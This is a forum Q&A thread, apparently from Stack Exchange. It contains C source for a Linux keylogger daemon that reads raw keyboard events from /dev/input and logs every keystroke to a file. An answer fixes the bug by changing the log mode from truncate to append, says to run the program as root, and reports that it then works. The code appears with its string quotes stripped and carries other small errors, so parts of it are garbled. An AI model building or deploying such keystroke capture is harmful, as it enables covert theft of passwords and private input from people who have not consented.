I am trying to write a kind of keylogger myself. I don't know if my logic of developing a keylogger is good or not but I have thought of doing it the following way.First a daemon is created, and to get the keystroke events, /dev/input/by-path/platform-i8042-serio-0-event-kbd is accessed and the obtained data is written to a file.The code will follow down but the problem I have here is that the file I want to write to is opened in RO mode and I can't write to it though the daemon runs in background.  #include <stdio.h>#include <fcntl.h>#include <signal.h>#include <unistd.h>#include <string.h>#include <termios.h>#include <stdlib.h>#include <fcntl.h>#include <errno.h>#include <linux/input.h>#define RUNNING_DIR /tmp#define LOCK_FILE exampled.lock#define LOG_FILE exampled.log//#define TEST_FILE testd.txtstatic const char *const evval[3] = {    RELEASED,    PRESSED ,    REPEATED};void log_message(char* filename, char* message){    FILE *logfile;    logfile = fopen(filename, a);    if(!logfile) return;    fprintf(logfile, %s\n, message);    fclose(logfile);}void signal_handler(sig)int sig;{    switch(sig)    {        case SIGHUP:// not relevant            log_message(LOG_FILE, hangup signal catched);            break;        case SIGTERM:// not relevant            log_message(LOG_FILE, terminate signal catched);            exit(0);            break;        case SIGTTIN: // not relevant            log_message(LOG_FILE, from sigttin);            break;        case SIGTTOU:// only this is relevant here            poll_kbd();            break;    }}int poll_kbd(){    const char *dev = /dev/input/by-path/platform-i8042-serio-0-event-kbd;    struct input_event ev;    int n;    int fd;    FILE* f;    f = fopen(LOG_FILE, w);    fd = open(dev, O_RDWR);     if (fd == -1) {        fprintf(stderr, Cannot open %s: %s.\n, dev, strerror(errno));        return EXIT_FAILURE;    }    while (1) {        n = read(fd, &ev, sizeof ev);        if (n == (ssize_t)-1) {            if (errno == EINTR)                continue;            else                break;        } else        if (n != sizeof ev) {            errno = EIO;            break;        }        if (ev.type == EV_KEY && ev.value >= 0 && ev.value <= 2){            fprintf(f, %s 0x%04x (%d)\n, evval[ev.value], (int)ev.code, (int)ev.code);        }    }}void daemonize(){    int i, lfp;    char str[10];        if(getppid()==1) return;  // already a daemon, pid1 for init        i = fork();        if(i<0) exit(1); // fork error        if(i>0) exit(0); // parent exits        // child daemon continues        setsid(); // obtain a new process group        for (i=getdtablesize();i>=0;--i) close(i); // close all descriptors        i =  open(/dev/null, O_RDWR); dup(i); dup(i); // handle standard IO        umask(027); // set newly created file permissions        chdir(RUNNING_DIR); // change running dir        if (lfp<0) exit(1); // cannot open        if (lockf(lfp, F_TLOCK, 0) < 0) exit(0); // cannot lock        // first instance continues        sprintf(str, %d\n, getpid());        write(lfp, str, strlen(str)); // record pid to lockfile        signal(SIGCHLD, SIG_IGN); // ignore child        signal(SIGTSTP, SIG_IGN); // ignore tty signals        signal(SIGHUP, signal_handler); // catch hangup signal        signal(SIGTERM, signal_handler); // catch kill signal        signal(SIGTTIN, signal_handler);        signal(SIGTTOU, signal_handler);}main(){    daemonize();    while(1)    {        //the signal is raised to envoke the keyboard input detection function        raise(SIGTTOU);        sleep(1);    }}Can anyone please help me with this, what is going wrong. Any suggestions are highly appreciated.Thank you.
Daemon opens a file in RO mode only
files;c;signals
You're starting out too big. Starting out with small pieces of code that you've made sure work is better. Why start with a daemon right away, and why that weird signalling to invoke poll_kbd. In C, you should be checking error codes too.Rant finished.Now why it's not working:This >>f = fopen(LOG_FILE, w); truncates the log file in each kbd_poll invocation.Change it to a and make sure you run the script as root (so that you have read permissions to /dev/input/by-path/platform-i8042-serio-0-event-kbd--you'll never even see that error after your deamonize() function redirected stderr to /dev/null). Then it might work (does for me).